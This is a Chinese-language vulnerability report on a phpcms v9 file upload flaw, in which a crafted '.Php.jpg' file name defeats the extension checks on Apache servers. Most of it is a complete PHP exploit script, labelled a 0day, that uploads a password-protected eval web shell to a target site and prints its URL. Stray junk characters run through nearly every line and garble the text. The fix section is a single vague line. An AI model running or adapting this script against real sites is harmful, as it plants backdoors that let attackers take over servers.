漏洞类型: 文件上传导致任意代码执行3 N2 o% o6 S$ p9 \, v# c
) N/ s) J* w: g
简要描述:* A& `& j/ |0 u L8 u0 Y
, Z1 c$ @' l0 f8 @phpcms v9 getshell (apache)
. e% D* s, T9 `- C+ c' c' h详细说明:/ F: i2 a p3 r% d- I
1 ^* C# W, J6 Q* x V6 `4 O: O漏洞文件:phpcms\modules\attachment\attachments.php' S0 e0 i0 M/ J3 X: i/ L
* \2 p8 l; c, t b& K
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } , r2 n& b: R+ B# _/ o9 R
后缀检测:phpcms\modules\attachment\functions\global.func.php
3 C& a7 v# d$ F5 G% K! Y( x- ]2 \0 y* w# q3 v: C$ ~% |
3 a m# i" o5 W1 [+ c
" G* m1 I; `& O- F' n" B# ~5 O3 i: X
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 2 K) S% _7 c* |
$ S3 N8 B& h# `* | o( ?
关键函数:, i" O1 P4 w. P: m7 Z
C8 x/ O9 p) V' M! G/ l/ }6 r
1 |1 x. S: _9 H$ y
/ t( \$ `4 G6 }3 u: V" B8 z3 Jfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ( H- t Z8 K- e
, h0 `! K% H6 ~
Fileext函数是对文件后缀名的提取。( n$ `1 [ V! v
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php8 ^+ ?7 w/ n. r3 u4 o
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
2 w8 K5 z3 t# ^4 A0 A3 m1 z我们回到public function crop_upload() 函数中8 Z: }7 @, A) j, {1 {6 ?* t
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();- F- J5 I' k r; W
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数9 d i) y$ F8 {
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。9 q9 {% u+ x4 T- K1 U
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。$ O) F7 q/ [9 i# R
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。; N" }* w( c; K& d; f
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。- V. G# @4 ~! W. G; F& y7 ?
漏洞证明:5 V0 t( y. K& {: C
; p7 x4 Z- x( h0 L$ x) s3 Aexp:
0 `2 d0 P+ ?% `7 w
2 h2 X" P8 D w1 }/ f# ^; i! @8 W& H/ f<?php
6 n; C' w4 }4 [0 eerror_reporting(E_ERROR);- u& s7 q5 U/ ?( X& Y) g+ w
set_time_limit(0);& z2 T5 o+ ?' d2 V% V7 Z! G9 f
$pass="ln";. W. B3 H4 R5 z& q) x8 K" a, V
print_r('6 o* T9 e4 x- T) I. ]8 j! U9 |
+---------------------------------------------------------------------------+/ R8 m+ v" f$ j7 u. G. p
PHPCms V9 GETSHELL 0DAY ( A* N9 f9 M0 V, I
code by L.N.4 c, A" z- [; a5 _& H2 g. \
3 i# Z( o1 b" Z+ X4 _( O: z" i
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net( @0 s' q" _8 \# `& @& o
+---------------------------------------------------------------------------+; i+ A* X! B% k$ R) G- a
');
( a3 q0 Q7 b( u. eif ($argc < 2) {
. z% ]0 a6 B' c7 v5 l6 Oprint_r('
% h/ w# T: l$ d+---------------------------------------------------------------------------+8 r/ N: l5 h* t1 f1 {* u
Usage: php '.$argv[0].' url path
% V0 a4 i2 z) b e& L+ P4 F
/ D0 ~: @& W pExample:
: f& S% g# H0 {6 U5 V9 |, Y1.php '.$argv[0].' lanu.sinaapp.com% _8 L. N7 H0 n- `' l# V
2.php '.$argv[0].' lanu.sinaapp.com /phpcms1 @) ?" s+ M( s, |
+---------------------------------------------------------------------------+
! q" g5 }% e( i( M; c1 w/ D/ k5 K* {');# H9 E( K: [) {5 j) u* l7 h4 R% }
exit;
. h; q+ W+ ~" _: s8 G, T}1 N2 S: c% `$ E: {0 I$ e' [2 o5 H
% S4 e/ d$ I6 b# u$url = $argv[1];
* h7 A" `+ K2 i* W. k4 ]+ p$path = $argv[2];
% @) D9 Q4 g) F7 v9 V$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
/ `: P7 \5 T1 o6 d$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
% z% y* @" `) e0 d; rif($ret=Create_dir($url,$path))
& |1 g# T9 d: `! w1 t3 K{6 M# {2 s9 J: a4 L; y: ]
//echo $ret;
, @5 _" {$ e9 ~- ]+ D$ B$pattern = "|Server:[^,]+?|U";1 H( y& J/ b4 s
preg_match_all($pattern, $ret, $matches);
1 I: s4 f7 K0 e+ Q. B6 j% Pif($matches[0][0])
+ s& @9 U! H$ k+ ~% v F{
" N/ S/ x: i* L9 Y8 L6 ~if(strpos($matches[0][0],'Apache') == false)
4 g7 j+ x0 X/ }{
2 B0 b1 r( u7 d; c3 k8 q, Pecho "\n亲!此网站不是apache的网站。\n";exit;$ n3 j6 {/ D, f' L
}
" C- k3 v- R9 V, S}) L8 p* S1 Q+ C2 e o
$ret = GetShell($url,$phpshell,$path,$file);
# W/ g4 c% W) R- _0 I+ g: [$pattern = "|http:\/\/[^,]+?\.,?|U";: j! L3 U* E& L! S
preg_match_all($pattern, $ret, $matches);9 I( P/ `: n5 e! a% |1 ]
if($matches[0][0])
& b3 Y. H* s) _- p2 ~# Y{
( N, F y2 e. c8 D6 D- E: Oecho "\n".'密码为: '.$pass."\n";) \8 c4 h, C- S" B
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
" j9 }% Z$ `8 r7 A- u) j}# a" w! \( a1 f4 o8 k. s4 w
else
; |& |( L# p& V' u2 j{
: J W: J& h2 d: E0 J1 \$pattern = "|\/uploadfile\/[^,]+?\.,?|U";4 b9 r O- K! J3 ~* [; q
preg_match_all($pattern, $ret, $matches);
% X4 V# Y5 a' M; T: ]if($matches[0][0])) Q' M$ l7 `6 R, ?& ]3 ^1 b
{
# v- K* ^/ N3 [% u& v- S {echo "\n".'密码为: '.$pass."\n";
* C! ]% Q8 ]5 u& lecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% ]5 T/ e% z( j4 u7 A& R* c7 x}) n7 t' V; F( e2 S
else* E. U* b( N) a8 B, K+ R$ M
{' k! @2 r" P* r1 T3 r6 L
echo "\r\n没得到!\n";exit;& c$ U/ y+ j* Y' }! _# D: P
}
; C% d0 f+ a1 N! a- V1 P0 u. T6 x3 I}
% h, G) v7 h! W0 O, X}
8 S1 K. O) ?* h5 E, l& l. |
9 f+ s3 A Z2 p3 u7 ~, U2 @function GetShell($url,$shell,$path,$js)
5 T8 ?/ }) t( J{
6 }1 H3 ?; H5 l. y$content =$shell;, A4 @1 O1 I5 ^3 l- K2 h" o/ y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";$ ^7 ]) Y. F6 H
$data .= "Host: ".$url."\r\n";( I9 u2 d, v3 G* U% k- F
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
" r4 H% }; H2 x3 p6 t1 r$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";( P6 {! i, ~; E, q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 N: p. W$ ^4 m: o5 c0 D$data .= "Connection: close\r\n";3 a8 x- W& f( c; L W9 z0 I
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' {& D" G% j' r; B
$data .= $content."\r\n";: M; o- f4 t, ~, J
$ock=fsockopen($url,80);: f( \0 N8 _, X7 V: b$ j
if (!$ock)
& P8 z) {& w1 ] I+ T- m{
; K6 C, @6 ~% e5 @" Zecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 ?; U" z! J! L! J% n' v3 W
}$ z s w6 c# l# q- F1 d
else4 ]3 R5 \" U- \
{" \+ I6 Z" G! ?4 _
fwrite($ock,$data);1 J* V& |- h( S4 s9 H5 P8 \
$resp = '';2 _* ?6 I p4 i
while (!feof($ock))- H* B5 M+ X l6 v
{
$ X# J5 a0 {/ h. q- n9 l: |4 H$resp.=fread($ock, 1024);! g$ _$ s; [, k0 n( ^8 d
}& ]8 x0 r) {2 t! }0 z. N
return $resp;8 ~: g' O* p* ^/ y8 y2 s
}& i2 b4 d' x3 N6 ]# V
}6 q; H0 p3 J+ i
, N) M7 K- v- j. Xfunction Create_dir($url,$path='')
5 V/ X# Q5 V! _: C, r4 T3 S; t{4 x- e9 J% o( { c
$content ='I love you';" ^8 r2 v$ n' b6 D/ f, A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";2 v5 a3 p% h; }0 C
$data .= "Host: ".$url."\r\n";7 ]4 d) k" i) v, T
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ Y5 u* t! n1 y0 s
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# x z, j, l: ?$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 Q, Z1 ~ n' R! V/ p$data .= "Connection: close\r\n";* ]' t' r5 n# {0 i& R
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ I x& s/ E7 |; l" ^$data .= $content."\r\n";
, m7 N, F7 y' e( b y. I Y$ock=fsockopen($url,80);4 A5 A5 @! A3 G3 [. `
if (!$ock)
/ P( |2 K/ t% a" J4 J ]; A{7 | S5 p" P0 K" C, K% Q# [
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: @. n. S0 ~0 r- i8 m' P. s}
, V, B7 K! ^% N Ifwrite($ock,$data);; X% a9 T$ o/ i% K+ W
$resp = '';
* n* F. Q8 G& c& f' p' k8 @while (!feof($ock))
+ r) c, x2 y" ~3 ^( J{
; x4 u6 l- \# y: l0 x' e( C3 @. u: k$resp.=fread($ock, 1024); N6 l1 L1 [9 i& F4 |$ W7 `
}
( E1 k$ B! y" L: W9 Nreturn $resp;
5 }+ X6 a* E: P! f& k1 o+ V" I}0 E& ]. r9 L+ `1 w8 Z
?> % ~& P( l) _( B) A) B+ f* d+ O
; Z+ n4 \1 A7 g9 Y1 _修复方案:
; t5 T$ d& z6 ]( l5 s, I% I! N9 ~% d& C8 R" ?- _: i. p9 f, ^& E
过滤过滤再过滤4 w- b' [. |, x5 S, u
1 s% b8 g m& y/ g |